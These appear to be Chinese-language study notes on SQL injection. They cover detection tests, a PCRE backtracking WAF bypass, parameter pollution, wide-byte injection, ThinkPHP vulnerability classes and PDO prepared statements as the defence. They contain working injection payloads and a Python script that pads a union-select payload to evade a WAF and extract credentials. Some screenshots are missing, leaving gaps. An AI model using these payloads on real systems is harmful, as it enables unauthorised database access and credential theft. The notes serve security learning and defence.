SQL 注入分类
数字型注入
SQL中的语句格式:select * from users where id =x
判断方法:使用 1 and 1=1 ,1 and 1=2 来判断
当输入:and 1=1 时页面显示正常
select * from users where id =x and 1=1
输入:and 1=2 时页面显示异常
select * from users where id =x and 1=2
说明是数字型注入

字符型注入
SQL中的语句格式:select * from users where id ='x'
判断方法:使用 1' and '1'='1 ,1' and '1'='2 来判断
当输入:1' and '1'='1 时页面显示正常
select * from users where id ='x' and '1'='1'
输入:1' and '1'='2 时页面显示异常
select * from users where id ='x' and '1'='2'
说明是字符型注入

搜索型注入
基于搜索框的注入
SQL中的语句格式:select * from database.table where users like '%要查询的关键字%'
判断方法:
某个商品名称%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1)
select * from database.table where users like '%某个商品名称%' and 1=1 and '%'='%'
页面显示正常
某个商品名称%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2)
select * from database.table where users like '%某个商品名称%' and 1=2 and '%'='%'
页面显示异常
根据上面的返回情况来判断是否存在搜索型注入


正则回溯绕过waf
1. 正则表达式回溯机制
正则表达式引擎匹配原理(NFA - 非确定性有限自动机)
正则: .*?abc
输入: aaaaaaaaabc
匹配过程(简化):
┌─────────────────────────────────────────────────────────┐
│ 尝试1: a -> 不匹配abc -> 回溯 │
│ 尝试2: aa -> 不匹配abc -> 回溯 │
│ 尝试3: aaa -> 不匹配abc -> 回溯 │
│ ...继续回溯... │
│ 尝试N: aaaaaaaa -> 匹配abc -> 成功! │
└─────────────────────────────────────────────────────────┘
2. PHP PCRE 回溯限制
<?php
// PHP默认配置
echo ini_get('pcre.backtrack_limit'); // 默认值: 1000000 (100万)
// 当回溯次数超过限制时
$result = preg_match($pattern, $evil_input);
// 返回值:
// 1 = 匹配成功
// 0 = 匹配失败
// false = 发生错误(包括回溯超限)
3.攻击原理
┌──────────────────────────────────────────────────────────────────┐
│ 正则回溯绕过WAF攻击流程 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 攻击者构造 Payload │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────┐ │
│ │ SQL注入语句 + 大量填充字符(触发回溯) │ │
│ │ 例: "union select" + "a"*1000000 │ │
│ └─────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────┐ │
│ │ WAF 正则检测 │ │
│ │ preg_match('/union|select/i', $input) │ │
│ └─────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────┐ │
│ │ 正则引擎开始回溯... │ │
│ │ 回溯次数: 1, 2, 3 ... 1000000+ │ │
│ │ 超过 pcre.backtrack_limit! │ │
│ └─────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ preg_match() 返回 false (不是0!) │
│ │ │
│ ▼ │
│ if(false) 条件不成立 → WAF放行 → SQL注入成功! │
│ │
└──────────────────────────────────────────────────────────────────┘
4.示例绕过
<?php
// 模拟有漏洞的WAF
function vulnerable_waf($input) {
// 使用贪婪匹配的复杂正则
$pattern = '/(?:select|union|insert|update|delete)[\s\S]*?(?:from|into|set|values)/i';
if (preg_match($pattern, $input)) {
die("WAF: SQL Injection Detected!");
}
return $input;
}
// 正常攻击 - 被拦截
$normal_payload = "1' union select * from users--";
// 结果: WAF: SQL Injection Detected!
// 回溯绕过攻击
$evil_payload = "1' union select * from users--" . str_repeat('a', 1000000);
// 结果: 绕过WAF!
5.使用特殊字符触发回溯
<?php
// 更复杂的WAF正则(容易触发回溯的模式)
$pattern = '/union[\s\S]*?select/i';
// 构造触发回溯的payload
// 原理:让 [\s\S]*? 反复尝试匹配
$payload = "union/*" . str_repeat('!', 500000) . "*/select";
// 正则引擎处理过程:
// 1. 匹配到 "union"
// 2. [\s\S]*? 开始惰性匹配
// 3. 遇到大量 '!' 字符
// 4. 每次尝试后发现不是 "select",回溯
// 5. 回溯次数超过限制 → 返回 false
6.攻击脚本
import requests
# 目标URL
url = "http://target.com/vuln.php"
# 构造回溯绕过payload
payload = "1' union select username,password from users--"
padding = "a" * 1000001 # 超过默认回溯限制
# 方法1:payload后填充
attack1 = payload + padding
# 方法2:使用SQL注释包裹
attack2 = f"1' union/*{padding}*/select username,password from users--"
# 发送请求
response = requests.get(url, params={"id": attack2})
print(response.text)
HPP全局参数污染+宽字节处理
1.HPP 注入核心原理
HPP 注入的本质是利用不同环境(WAF、Web 服务器、后端框架)对「重复 HTTP 参数」的解析规则差异,绕过防护并注入恶意代码。
HTTP 协议本身并没有明确规定:当请求中出现多个同名参数时(比如 ?id=1&id=2),应该如何处理这些参数。不同的组件对这种重复参数的解析逻辑不一样,这就产生了「解析差异漏洞」,具体流程如下:
- 攻击者构造包含同名重复参数的请求,其中一个参数是正常值(用于绕过 WAF 校验),另一个是恶意注入值。
- WAF 在解析请求时,只提取第一个(或最后一个)正常参数,判定请求合法,直接放行。
- 后端的 Web 服务器 / 框架解析请求时,采用了和 WAF 不同的规则(比如合并参数、提取后一个参数),将恶意参数解析并带入业务逻辑。
- 恶意参数被拼接进 SQL 语句,最终触发 SQL 注入。
场景 1:绕过 WAF 的参数校验
WAF 配置了规则:拦截包含 '、UNION 等恶意关键字的 id 参数。
- 正常恶意请求(会被 WAF 拦截):
?id=1' UNION SELECT 1,2,3-- - HPP 构造请求(绕过 WAF):
?id=1&id=1' UNION SELECT 1,2,3--- WAF 解析:提取第一个
id=1,无恶意关键字,放行。 - 后端 PHP 解析:
$_GET['id']提取最后一个参数1' UNION SELECT 1,2,3--,带入 SQL 触发注入。
- WAF 解析:提取第一个
场景 2:绕过后端的单参数过滤
后端代码只对参数做了单次过滤(如过滤单引号),但未考虑重复参数的合并逻辑:
php
运行
// 后端存在缺陷的过滤代码
$id = $_GET['id'];
$id = str_replace("'", "", $id); // 只过滤一次单引号
$sql = "SELECT * FROM users WHERE id = {$id}";
- HPP 构造请求:
?id=1'&id= UNION SELECT 1,2,3--- 后端合并参数(部分场景):
id被解析为1'' UNION SELECT 1,2,3--。 - 过滤后:
str_replace只替换掉一个单引号,剩余1' UNION SELECT 1,2,3--,触发注入。
- 后端合并参数(部分场景):
场景 3:利用框架的参数数组解析
部分框架会将重复参数解析为数组,若后端未对数组做校验,直接拼接进 SQL:
- HPP 构造请求:
?id[]=1&id[]=2' OR 1=1-- - 后端解析为数组
[1, 2' OR 1=1--],拼接进 SQL 后变为WHERE id IN (1, 2' OR 1=1--),触发注入。
宽字符注入
宽字符注入的目的是为了解决addslashes()之类的函数添加转义的问题。其使用的前提是mysql会使用宽字节,比如设置宽字节编码的sql语句:

这里使用的是联合注入方式, 内部调用了3次preg_replace(), 把\替换成了\\\, 并转义了单引号和双引号。 函数返回后就发现单引号被转义了
如果把字符集设置成了gbk或者gb2312之类的宽字符。mysql会把ascii码大于128(%80)的字符当作汉字字符的第一个字节(汉字一共有2个字节, 大于128后面的那个字节会被连带作为汉字的第二字节)


如果发现单双引号被过滤了,那可以考虑使用宽字节注入。
thinkphp注入漏洞
ThinkPHP 漏洞类型:
-
**SQL注入(SQL Injection)**
- 描述:当用户的输入直接用于 SQL 查询构建时,攻击者可以构造恶意的 SQL 代码来篡改查询结果或者访问未授权的数据。
- 解决方法:使用参数化查询(Prepared Statements)或者使用框架提供的数据库操作类来防止 SQL 注入。
-
**跨站脚本攻击(XSS, Cross-Site Scripting)**
- 描述:攻击者通过在 Web 页面中注入恶意脚本,这些脚本在用户的浏览器上执行,从而窃取用户信息、会话令牌等。
- 解决方法 :对所有输出到 HTML 的数据进行适当的转义或使用框架提供的函数(如
htmlspecialchars)进行编码。

-
**文件包含漏洞(Local File Inclusion, LFI)**
- 描述:攻击者通过修改 URL 或表单输入来尝试包含或执行服务器上的敏感文件。
- 解决方法:不要直接将用户输入用于文件包含函数中,确保所有的文件路径都是可控的,并且只允许访问安全的目录。
-
**跨站请求伪造(CSRF, Cross-Site Request Forgery)**
- 描述:攻击者诱导用户在不安全的上下文中执行非自愿的操作,比如在已经登录的状态下执行转账操作。
- 解决方法:使用 CSRF tokens,确保所有的表单请求都包含一个唯一的 token,该 token 在用户的会话中生成并验证。
-
**不安全的直接对象引用(Insecure Direct Object Reference, IDOR)**
- 描述:通过 URL 或表单直接暴露对对象的引用,使得攻击者可以通过修改这些引用值来访问未授权的数据或功能。
- 解决方法:验证所有通过 URL 或表单提交的 ID 或引用,确保用户只能访问其有权限的数据。
PDO防sql注入
原理
1. 函数过滤 addsalses 单双引号 小心宽字节注入
2. waf过滤,雷池,宝塔,南墙等等
3. RASP过滤 关键词 union select user()
4. pdo防注入
waf 宝塔waf 雷池waf 南墙waf
毋庸置疑 4
现在所有的现代化框架 都使用pdo进行防sql注入
预编译
select * from users where id= ?
select * from users where id = 1
sql->bind('username','admin');
防止sql注入
远端mysql发起请求:
<?php
$pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "root","root123");
$st = $pdo->prepare("select * from users where id =?");
$id = $_GET['id'];
$st->bindParam(1, $id);
$st->execute();
$ret = $st->fetchAll();
print_r($ret);
通过抓包生成文件:
通过wireshark打开文件:

php对sql语句发送采用了prepare--execute方式


变量和SQL模板是分两次发送的,那么就不存在SQL注入的问题了